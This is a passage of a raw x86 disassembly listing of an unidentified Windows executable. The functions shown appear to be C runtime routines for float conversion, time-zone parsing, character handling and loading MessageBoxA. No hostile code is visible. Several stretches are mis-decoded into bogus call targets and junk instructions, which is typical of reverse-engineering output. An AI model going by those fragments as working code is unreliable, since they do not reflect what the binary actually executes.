arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41DE71
		cmp	ebx, edi
		jz	short loc_41DE6A
		lea	edi, [ecx+3C00h]
		jmp	short loc_41DE92
; ---------------------------------------------------------------------------


loc_41DE6A:				; CODE XREF: sub_41DE23+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41DE92
; ---------------------------------------------------------------------------


loc_41DE71:				; CODE XREF: sub_41DE23+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41DE89
		cmp	edx, ebx
		jnz	short loc_41DE89
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41DED4
; ---------------------------------------------------------------------------


loc_41DE89:				; CODE XREF: sub_41DE23+52j
					; sub_41DE23+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41DE92:				; CODE XREF: sub_41DE23+45j
					; sub_41DE23+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41DEAA:				; CODE XREF: sub_41DE23+A6j
		test	ecx, esi
		jnz	short loc_41DECB
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41DEAA
; ---------------------------------------------------------------------------


loc_41DECB:				; CODE XREF: sub_41DE23+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41DED4:				; CODE XREF: sub_41DE23+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DE23	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DED9	proc near		; CODE XREF: sub_417D2C+3AAp
					; sub_417D2C+3CBp ...
		push	2
		call	sub_417BCE
		pop	ecx
		retn
sub_41DED9	endp

; ---------------------------------------------------------------------------
word_41DEE2	dw 8B56h		; DATA XREF: sub_41DF28o
					; seg002:00438090o ...
		dd 8B082474h, 63388106h, 75E06D73h, 10788314h, 810E7503h
; ---------------------------------------------------------------------------
		js	short loc_41DF0E
; START	OF FUNCTION CHUNK FOR sub_41DF62


loc_41DEFA:				; CODE XREF: sub_41DF62+11j
		and	ds:5751993h, al
		jmp	sub_41AB7C
; END OF FUNCTION CHUNK	FOR sub_41DF62
; ---------------------------------------------------------------------------
		mov	eax, ds:dword_469660
		test	eax, eax
		jz	short loc_41DF22


loc_41DF0E:				; CODE XREF: seg000:0041DEF8j
		push	eax
		call	sub_41DF7E
		test	eax, eax
		pop	ecx
		jz	short loc_41DF22
		push	esi
		call	ds:dword_469660
		jmp	short loc_41DF24
; ---------------------------------------------------------------------------


loc_41DF22:				; CODE XREF: seg000:0041DF0Cj
					; seg000:0041DF17j
		xor	eax, eax


loc_41DF24:				; CODE XREF: seg000:0041DF20j
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41DF28	proc near		; DATA XREF: seg002:00423024o
		push	offset word_41DEE2
		call	ds:dword_42101C
		mov	ds:dword_469660, eax
		retn
sub_41DF28	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF39	proc near		; DATA XREF: seg002:0042303Co
		push	ds:dword_469660
		call	ds:dword_42101C
		retn
sub_41DF39	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF46	proc near		; CODE XREF: sub_41A3CE+6Bp
					; sub_41A8DF+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0B9D27E01h
		xchg	eax, edx
		test	eax, eax
		jz	short loc_41DF5E
		xor	esi, esi


loc_41DF5E:				; CODE XREF: sub_41DF46+14j
		mov	eax, esi
		pop	esi
		retn
sub_41DF46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF62	proc near		; CODE XREF: sub_41A8DF+73p
					; sub_41A8DF+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0041DEFA SIZE 0000000B BYTES

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 4C1F640Ah
		js	short loc_41DEFA
		sal	byte ptr [edx+eax+33h],	0F6h
		mov	eax, esi
		pop	esi
		retn
sub_41DF62	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF7E	proc near		; CODE XREF: sub_41A8DF+15Bp
					; seg000:0041DF0Fp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 70AC933Ah
		inc	esp
		test	eax, eax
		jz	short loc_41DF92
		xor	esi, esi


loc_41DF92:				; CODE XREF: sub_41DF7E+10j
		mov	eax, esi
		pop	esi
		retn
sub_41DF7E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41AB7C


loc_41DF96:				; CODE XREF: sub_41AB7C:loc_41ABCDj
		push	0Ah
		call	sub_41CEF9
		push	16h
		call	sub_41F277
		pop	ecx
		pop	ecx
		push	3
		call	sub_417818
; END OF FUNCTION CHUNK	FOR sub_41AB7C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFAD	proc near		; CODE XREF: sub_41AD1D+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41DFD0
		cmp	[ebp+arg_8], ebx
		jz	short loc_41DFD0
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41DFD6
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41DFD0
		mov	[eax], bx


loc_41DFD0:				; CODE XREF: sub_41DFAD+Cj
					; sub_41DFAD+11j ...
		xor	eax, eax


loc_41DFD2:				; CODE XREF: sub_41DFAD+42j
					; sub_41DFAD+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DFD6:				; CODE XREF: sub_41DFAD+17j
		cmp	ds:dword_4694F8, ebx
		jnz	short loc_41DFF1
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41DFEC
		movzx	ax, al
		mov	[ecx], ax


loc_41DFEC:				; CODE XREF: sub_41DFAD+36j
					; sub_41DFAD+C0j
		push	1
		pop	eax
		jmp	short loc_41DFD2
; ---------------------------------------------------------------------------


loc_41DFF1:				; CODE XREF: sub_41DFAD+2Fj
		mov	ecx, ds:off_437D40
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E04E
		mov	eax, ds:dword_437F4C
		cmp	eax, 1
		jle	short loc_41E035
		cmp	[ebp+arg_8], eax
		jl	short loc_41E03F
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	ds:dword_469508
		call	ds:dword_421064
		test	eax, eax
		mov	eax, ds:dword_437F4C
		jnz	short loc_41DFD2


loc_41E035:				; CODE XREF: sub_41DFAD+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41E03F
		cmp	[esi+1], bl
		jnz	short loc_41DFD2


loc_41E03F:				; CODE XREF: sub_41DFAD+61j
					; sub_41DFAD+8Bj ...
		mov	ds:dword_469464, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DFD2
; ---------------------------------------------------------------------------


loc_41E04E:				; CODE XREF: sub_41DFAD+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	ds:dword_469508
		call	ds:dword_421064
		test	eax, eax
		jnz	loc_41DFEC
		jmp	short loc_41E03F
sub_41DFAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E075	proc near		; CODE XREF: sub_41AD1D+76p
					; sub_41AD1D+88p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_437F4C, 1
		jle	short loc_41E08C
		push	8
		push	[esp+4+arg_0]
		call	sub_418536
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41E08C:				; CODE XREF: sub_41E075+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_437D40
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41E075	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E0A0	proc near		; CODE XREF: sub_41AD1D+797p
					; sub_41AD1D+7E7p
		cmp	cl, 40h
		jnb	short loc_41E0BA
		cmp	cl, 20h
		jnb	short loc_41E0B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41E0B0:				; CODE XREF: sub_41E0A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41E0BA:				; CODE XREF: sub_41E0A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41E0A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0BF	proc near		; CODE XREF: sub_41B793+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41E10B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41E0DD
		test	al, 80h
		jz	short loc_41E10B
		test	al, 2
		jnz	short loc_41E10B


loc_41E0DD:				; CODE XREF: sub_41E0BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41E0EA
		push	esi
		call	sub_41D04C
		pop	ecx


loc_41E0EA:				; CODE XREF: sub_41E0BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41E0FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41E10B
		inc	eax
		mov	[esi], eax


loc_41E0FA:				; CODE XREF: sub_41E0BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41E111
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41E117
		inc	eax
		mov	[esi], eax


loc_41E10B:				; CODE XREF: sub_41E0BF+9j
					; sub_41E0BF+18j ...
		or	eax, 0FFFFFFFFh


loc_41E10E:				; CODE XREF: sub_41E0BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E111:				; CODE XREF: sub_41E0BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41E117:				; CODE XREF: sub_41E0BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41E10E
sub_41E0BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E12D	proc near		; CODE XREF: sub_41B7CE:loc_41B80Dp
		cmp	ds:dword_469720, 0
		jnz	short locret_41E141
		call	loc_41E142
		inc	ds:dword_469720

locret_41E141:				; CODE XREF: sub_41E12D+7j
		retn
sub_41E12D	endp

; ---------------------------------------------------------------------------


loc_41E142:				; CODE XREF: sub_41E12D+9p
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	ds:dword_469668, ebp
		mov	ds:dword_438798, ebx
		mov	ds:dword_438788, ebx
		call	sub_41F3E9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41E26B
		push	offset dword_469670
		call	near ptr 0B2FAF610h
		mov	edi, 840FC33Bh
		adc	al, [edx]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		mov	eax, ds:dword_469670
		mov	ecx, ds:dword_4696C4
		imul	eax, 3Ch
		cmp	ds:word_4696B6,	bp
		push	1
		pop	edx
		mov	ds:dword_4386F0, eax
		mov	ds:dword_469668, edx
		jz	short loc_41E1B9
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	ds:dword_4386F0, eax


loc_41E1B9:				; CODE XREF: seg000:0041E1ABj
		cmp	ds:word_46970A,	bp
		jz	short loc_41E1DD
		mov	eax, ds:dword_469718
		cmp	eax, ebp
		jz	short loc_41E1DD
		sub	eax, ecx
		mov	ds:dword_4386F4, edx
		imul	eax, 3Ch
		mov	ds:dword_4386F8, eax
		jmp	short loc_41E1E9
; ---------------------------------------------------------------------------


loc_41E1DD:				; CODE XREF: seg000:0041E1C0j
					; seg000:0041E1C9j
		mov	ds:dword_4386F4, ebp
		mov	ds:dword_4386F8, ebp


loc_41E1E9:				; CODE XREF: seg000:0041E1DBj
		lea	eax, [esp+10h]
		mov	esi, ds:dword_421138
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	ds:off_43877C
		push	ebx
		push	offset dword_469674
		push	edi
		push	ds:dword_469508
		call	esi
		test	eax, eax
		jz	short loc_41E226
		cmp	[esp+10h], ebp
		jnz	short loc_41E226
		mov	eax, ds:off_43877C
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41E22E
; ---------------------------------------------------------------------------


loc_41E226:				; CODE XREF: seg000:0041E213j
					; seg000:0041E219j
		mov	eax, ds:off_43877C
		and	byte ptr [eax],	0


loc_41E22E:				; CODE XREF: seg000:0041E224j
		lea	eax, [esp+10h]
		push	eax
		push	ebp
		push	3Fh
		push	ds:off_438780
		push	ebx
		push	offset dword_4696C8
		push	edi
		push	ds:dword_469508
		call	esi
		test	eax, eax
		jz	loc_41E392
		cmp	[esp+10h], ebp
		jnz	loc_41E392
		mov	eax, ds:off_438780
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41E39A
; ---------------------------------------------------------------------------


loc_41E26B:				; CODE XREF: seg000:0041E16Fj
		cmp	byte ptr [esi],	0
		jz	loc_41E39A
		mov	eax, ds:dword_46971C
		cmp	eax, ebp
		jz	short loc_41E28E
		push	eax
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41E39A


loc_41E28E:				; CODE XREF: seg000:0041E27Bj
		push	ds:dword_46971C
		call	sub_415E1D
		push	esi
		call	sub_415CD0
		inc	eax
		push	eax
		call	sub_415DA9
		add	esp, 0Ch
		cmp	eax, ebp
		mov	ds:dword_46971C, eax
		jz	loc_41E39A
		push	esi
		push	eax
		call	sub_415BE0
		push	3
		push	esi
		push	ds:off_43877C
		call	sub_416D20
		mov	eax, ds:off_43877C
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41E2E3
		push	1
		inc	esi
		pop	edi


loc_41E2E3:				; CODE XREF: seg000:0041E2DDj
		push	esi
		call	sub_4159B4
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	ds:dword_4386F0, ecx


loc_41E2FA:				; CODE XREF: seg000:0041E309j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41E308
		cmp	al, bl
		jl	short loc_41E30B
		cmp	al, 39h
		jg	short loc_41E30B


loc_41E308:				; CODE XREF: seg000:0041E2FEj
		inc	esi
		jmp	short loc_41E2FA
; ---------------------------------------------------------------------------


loc_41E30B:				; CODE XREF: seg000:0041E302j
					; seg000:0041E306j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41E35E
		inc	esi
		push	esi
		call	sub_4159B4
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, ds:dword_4386F0
		add	ecx, eax
		mov	ds:dword_4386F0, ecx


loc_41E329:				; CODE XREF: seg000:0041E334j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41E336
		cmp	al, 39h
		jg	short loc_41E336
		inc	esi
		jmp	short loc_41E329
; ---------------------------------------------------------------------------


loc_41E336:				; CODE XREF: seg000:0041E32Dj
					; seg000:0041E331j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41E35E
		inc	esi
		push	esi
		call	sub_4159B4
		pop	ecx
		mov	ecx, ds:dword_4386F0
		add	ecx, eax
		mov	ds:dword_4386F0, ecx


loc_41E351:				; CODE XREF: seg000:0041E35Cj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41E35E
		cmp	al, 39h
		jg	short loc_41E35E
		inc	esi
		jmp	short loc_41E351
; ---------------------------------------------------------------------------


loc_41E35E:				; CODE XREF: seg000:0041E30Ej
					; seg000:0041E339j ...
		cmp	edi, ebp
		jz	short loc_41E36A
		neg	ecx
		mov	ds:dword_4386F0, ecx


loc_41E36A:				; CODE XREF: seg000:0041E360j
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	ds:dword_4386F4, eax
		jz	short loc_41E392
		push	3
		push	esi
		push	ds:off_438780
		call	sub_416D20
		mov	eax, ds:off_438780
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41E39A
; ---------------------------------------------------------------------------


loc_41E392:				; CODE XREF: seg000:0041E24Dj
					; seg000:0041E257j ...
		mov	eax, ds:off_438780
		and	byte ptr [eax],	0


loc_41E39A:				; CODE XREF: seg000:0041E266j
					; seg000:0041E26Ej ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41E3A0	proc near		; CODE XREF: sub_41B7CE+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_4386F4, edi
		jnz	short loc_41E3B4


loc_41E3AD:				; CODE XREF: sub_41E3A0+148j
					; sub_41E3A0+150j ...
		xor	eax, eax
		jmp	loc_41E500
; ---------------------------------------------------------------------------


loc_41E3B4:				; CODE XREF: sub_41E3A0+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, ds:dword_438788
		jnz	short loc_41E3D2
		cmp	eax, ds:dword_438798
		jz	loc_41E4D4


loc_41E3D2:				; CODE XREF: sub_41E3A0+24j
		cmp	ds:dword_469668, edi
		jz	loc_41E4AA
		movzx	ecx, ds:word_469716
		push	ecx
		cmp	ds:word_469708,	di
		movzx	ecx, ds:word_469714
		push	ecx
		movzx	ecx, ds:word_469712
		push	ecx
		movzx	ecx, ds:word_469710
		push	ecx
		jnz	short loc_41E424
		movzx	ecx, ds:word_46970C
		push	edi
		push	ecx
		movzx	ecx, ds:word_46970E
		push	ecx
		movzx	ecx, ds:word_46970A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41E438
; ---------------------------------------------------------------------------


loc_41E424:				; CODE XREF: sub_41E3A0+65j
		movzx	ecx, ds:word_46970E
		push	ecx
		push	edi
		movzx	ecx, ds:word_46970A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41E438:				; CODE XREF: sub_41E3A0+82j
		push	ebx
		call	sub_41E54C
		movzx	eax, ds:word_4696C2
		add	esp, 2Ch
		cmp	ds:word_4696B4,	di
		push	eax
		movzx	eax, ds:word_4696C0
		push	eax
		movzx	eax, ds:word_4696BE
		push	eax
		movzx	eax, ds:word_4696BC
		push	eax
		jnz	short loc_41E492
		movzx	eax, ds:word_4696B8
		push	edi
		push	eax
		movzx	eax, ds:word_4696BA
		push	eax
		movzx	eax, ds:word_4696B6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41E487:				; CODE XREF: sub_41E3A0+108j
		push	edi
		call	sub_41E54C
		add	esp, 2Ch
		jmp	short loc_41E4D4
; ---------------------------------------------------------------------------


loc_41E492:				; CODE XREF: sub_41E3A0+C8j
		movzx	eax, ds:word_4696BA
		push	eax
		push	edi
		movzx	eax, ds:word_4696B6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41E487
; ---------------------------------------------------------------------------


loc_41E4AA:				; CODE XREF: sub_41E3A0+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41E54C
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41E54C
		add	esp, 58h


loc_41E4D4:				; CODE XREF: sub_41E3A0+2Cj
					; sub_41E3A0+F0j
		mov	edx, ds:dword_43878C
		mov	eax, ds:dword_43879C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41E504
		cmp	ecx, edx
		jl	loc_41E3AD
		cmp	ecx, eax
		jg	loc_41E3AD
		cmp	ecx, edx
		jle	short loc_41E518
		cmp	ecx, eax
		jge	short loc_41E518


loc_41E4FE:				; CODE XREF: sub_41E3A0+166j
					; sub_41E3A0+16Aj
		mov	eax, ebx


loc_41E500:				; CODE XREF: sub_41E3A0+Fj
					; sub_41E3A0+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E504:				; CODE XREF: sub_41E3A0+144j
		cmp	ecx, eax
		jl	short loc_41E4FE
		cmp	ecx, edx
		jg	short loc_41E4FE
		cmp	ecx, eax
		jle	short loc_41E518
		cmp	ecx, edx
		jl	loc_41E3AD


loc_41E518:				; CODE XREF: sub_41E3A0+158j
					; sub_41E3A0+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41E53F
		xor	ecx, ecx
		cmp	eax, ds:dword_438790
		setnl	cl


loc_41E53B:				; CODE XREF: sub_41E3A0+1AAj
		mov	eax, ecx
		jmp	short loc_41E500
; ---------------------------------------------------------------------------


loc_41E53F:				; CODE XREF: sub_41E3A0+18Ej
		xor	ecx, ecx
		cmp	eax, ds:dword_4387A0
		setl	cl
		jmp	short loc_41E53B
sub_41E3A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E54C	proc near		; CODE XREF: sub_41E3A0+99p
					; sub_41E3A0+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41E5E7
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41E577
		shl	esi, 2
		mov	eax, ds:dword_4387A0[esi]
		jmp	short loc_41E580
; ---------------------------------------------------------------------------


loc_41E577:				; CODE XREF: sub_41E54C+1Ej
		shl	esi, 2
		mov	eax, ds:dword_4387D4[esi]


loc_41E580:				; CODE XREF: sub_41E54C+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41E5BA
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41E5C4
; ---------------------------------------------------------------------------


loc_41E5BA:				; CODE XREF: sub_41E54C+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41E5C4:				; CODE XREF: sub_41E54C+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41E602
		cmp	[ebp+arg_8], 0
		jnz	short loc_41E5D8
		mov	esi, ds:dword_4387A4[esi]
		jmp	short loc_41E5DE
; ---------------------------------------------------------------------------


loc_41E5D8:				; CODE XREF: sub_41E54C+82j
		mov	esi, ds:dword_4387D8[esi]


loc_41E5DE:				; CODE XREF: sub_41E54C+8Aj
		cmp	ecx, esi
		jle	short loc_41E602
		sub	ecx, 7
		jmp	short loc_41E602
; ---------------------------------------------------------------------------


loc_41E5E7:				; CODE XREF: sub_41E54C+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41E5F8
		mov	ecx, ds:dword_4387A0[eax*4]
		jmp	short loc_41E5FF
; ---------------------------------------------------------------------------


loc_41E5F8:				; CODE XREF: sub_41E54C+A1j
		mov	ecx, ds:dword_4387D4[eax*4]


loc_41E5FF:				; CODE XREF: sub_41E54C+AAj
		add	ecx, [ebp+arg_18]


loc_41E602:				; CODE XREF: sub_41E54C+7Cj
					; sub_41E54C+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41E633
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_43878C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	ds:dword_438788, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_438790, eax
		jmp	short loc_41E688
; ---------------------------------------------------------------------------


loc_41E633:				; CODE XREF: sub_41E54C+BAj
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_43879C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, ds:dword_4386F8
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_4387A0, eax
		jns	short loc_41E66B
		add	eax, 5265C00h
		dec	ecx
		mov	ds:dword_4387A0, eax
		jmp	short loc_41E67C
; ---------------------------------------------------------------------------


loc_41E66B:				; CODE XREF: sub_41E54C+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41E682
		sub	eax, edx
		inc	ecx
		mov	ds:dword_4387A0, eax


loc_41E67C:				; CODE XREF: sub_41E54C+11Dj
		mov	ds:dword_43879C, ecx


loc_41E682:				; CODE XREF: sub_41E54C+126j
		mov	ds:dword_438798, ebx


loc_41E688:				; CODE XREF: sub_41E54C+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E54C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E68C	proc near		; CODE XREF: seg000:0041C7CDp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41E69D
		add	esp, 0Ch
		retn
sub_41E68C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E69D	proc near		; CODE XREF: sub_41E68C+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_46A9A1[eax], cl
		jnz	short loc_41E6CA
		cmp	[esp+arg_4], 0
		jz	short loc_41E6C3
		movzx	eax, ds:word_437D4A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41E6C5
; ---------------------------------------------------------------------------


loc_41E6C3:				; CODE XREF: sub_41E69D+16j
		xor	eax, eax


loc_41E6C5:				; CODE XREF: sub_41E69D+24j
		test	eax, eax
		jnz	short loc_41E6CA
		retn
; ---------------------------------------------------------------------------


loc_41E6CA:				; CODE XREF: sub_41E69D+Fj
					; sub_41E69D+2Aj
		push	1
		pop	eax
		retn
sub_41E69D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6CE	proc near		; CODE XREF: sub_41CEF9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_469724, ebx
		push	esi
		push	edi
		jnz	short loc_41E71D
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4210C0
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41E753
		mov	esi, ds:dword_4210C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	ds:dword_469724, eax
		jz	short loc_41E753
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_469728, eax
		call	esi
		mov	ds:dword_46972C, eax


loc_41E71D:				; CODE XREF: sub_41E6CE+Bj
		mov	eax, ds:dword_469728
		test	eax, eax
		jz	short loc_41E73C
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41E73C
		mov	eax, ds:dword_46972C
		test	eax, eax
		jz	short loc_41E73C
		push	ebx
		call	eax
		mov	ebx, eax


loc_41E73C:				; CODE XREF: sub_41E6CE+56j
